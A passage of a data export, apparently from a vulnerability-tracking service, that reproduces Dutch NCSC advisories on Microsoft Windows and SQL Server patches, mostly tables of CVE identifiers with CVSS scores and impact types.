| 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Sensor Data Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50367 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58619 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50369 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58626 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Server Network driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56188 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Domain Controller: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50424 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Local Security Authority Subsystem Service (LSASS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40378 | 7.50 | Denial-of-Service                   | \n| CVE-2026-49799 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows AppX Deployment Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49803 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing Queue Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54992 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-50439 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nDesktop Window Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50692 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58633 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58634 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57097 | 6.40 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows SMB: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54997 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49801 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50690 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58531 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Media: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34349 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50327 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50404 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50358 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50336 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50398 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50414 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50379 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50433 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50394 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50415 | 5.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50655 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50676 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50677 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58542 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Graphics Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58609 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50483 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Print Spooler Components: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58608 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50383 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50499 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57085 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nUniversal Plug and Play (upnp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49180 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50455 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58547 | 5.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50323 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50452 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50348 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50345 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50322 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50340 | 8.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50410 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50449 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50460 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50403 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50385 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50413 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50457 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50486 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50503 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54125 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58527 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows TCP/IP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49177 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54999 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50306 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50307 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Secure Kernel Mode: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42982 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50392 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Resilient File System (ReFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54109 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49792 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49793 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50318 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50407 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50357 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50441 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50362 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50492 | 6.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50501 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58530 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Cloud Files Mini Filter Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50401 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50374 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58536 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58613 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Quality of Service (QoS) Packet Scheduler: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50431 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49167 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49173 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54132 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58614 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-49795 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49798 | 9.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50294 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49808 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50316 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50354 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50300 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50332 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50329 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50419 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50377 | 5.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50390 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50463 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50423 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50397 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50436 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50399 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50475 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50429 | 8.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50459 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50477 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50478 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50484 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50670 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50673 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50688 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50687 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56643 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56644 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58532 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58545 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows GDI+: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54122 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49796 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50380 | 9.60 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Network Policy Server SNMP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50470 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50496 | 7.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Audio Compression Manager (ACM): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50351 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50497 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nHTTP/2: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49788 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Universal Disk Format File System Driver (UDFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49790 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50498 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DirectX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49807 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50375 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50353 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50382 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58629 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows File History Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57091 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows BitLocker: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50661 | 6.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Telephony Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50669 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows StateRepository API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49170 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows WalletService: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\n```", "creation_timestamp": "2026-07-15T01:01:06.741045Z"}, {"uuid": "ab312568-ef6f-4a40-b593-02b39f6d4ee0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54116", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0232", "content": "Microsoft heeft kwetsbaarheden verholpen in diverse componenten van SQL Server. Een kwaadwillende kan de kwetsbaarheden misbruiken om zich verhoogde rechten toe te kennen, willekeurige code uit te voeren en/of toegang te krijgen tot gevoelige gegevens.\n\n```\nSQL Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-47296 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54117 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-54118 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-55002 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-47295 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50468 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54116 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nMicrosoft Fabric Data Warehouse: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56642 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nPower BI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58647 | 8.00 | Voordoen als andere gebruiker       | \n|----------------|------|-------------------------------------|\n```", "creation_timestamp": "2026-07-15T01:00:56.917028Z"}, {"uuid": "859d3cfb-bb9f-4469-874c-44194cb3e098", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54119", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0231", "content": "Microsoft heeft een zeer groot aantal kwetsbaarheden verholpen in Windows. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot de categorie\u00ebn schade, zoals genoemd in onderstaande tabel.\n\nDe ernstigste kwetsbaarheden hebben kenmerken **CVE-2026-49172, CVE-2026-56190, CVE-2026-54990, CVE-2026-49798, CVE-2026-50380, CVE-2026-50447, CVE-2026-50518, CVE-2026-56159, CVE-2026-56188 en CVE-2026-57092** toegewezen gekregen en bevinden zich in respectievelijk de FTP service, Remote Desktop (client en server), de Kernel, GDI+, Message Queuing Service, DHCP Server, Server Network Driver en VMSwitch.\nKwaadwillenden met toegang tot deze services kunnen zonder voorafgaande authenticatie mogelijk code uitvoeren of zich toegang verschaffen tot het kwetsbare systeem.\n\nNaast deze ernstige kwetsbaarheden zijn nog eens meer dan 400 kwetsbaarheden verholpen, allen varierend in ernstigheid van middelmatig tot hoog/kritiek.\n\nDoor de aard en omvang van deze updates, adviseert het NCSC om deze updates met voorrang in te zetten.\n\n```\nWindows Admin Center: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56169 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56185 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57107 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58631 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56196 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56197 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Management Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58544 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Audio Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34328 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50440 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58538 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Install Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50343 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nVirtual Hard Disk (VHD) Miniport Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58601 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50311 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Update Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50328 | 7.50 | Manipulatie van gegevens            | \n| CVE-2026-50444 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54107 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54986 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54112 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54114 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49805 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50297 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50325 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50416 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50489 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56184 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57095 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58632 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Terminal: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54124 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows RDP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55003 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57979 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50376 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50445 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54126 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56190 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57982 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58533 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58535 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58546 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58539 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58594 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Internet Key Exchange (IKE) Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50696 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nQuality Windows Audio/Video Experience (QWAVE) service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54989 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows RPC API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50365 | 8.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nReliable Multicast Transport Driver (RMCAST): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54982 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-54995 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Kernel Mode Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58602 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Service Infrastructure: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56647 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Trusted Runtime Interface Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50350 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Push Notifications: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50363 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50434 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50339 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50430 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Common Log File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50697 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nContent Delivery Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50427 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows LUAFV: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50371 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows App Store: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42900 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49165 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49784 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50356 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DNS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49174 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50295 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50465 | 7.10 | Manipulatie van gegevens            | \n| CVE-2026-50495 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50487 | 8.10 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Data.dll: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50347 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Boot Loader: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58638 | 6.00 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows VMSwitch: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57092 | 9.90 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Connection Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50666 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Input Method Editor (IME): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58534 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Search Component: 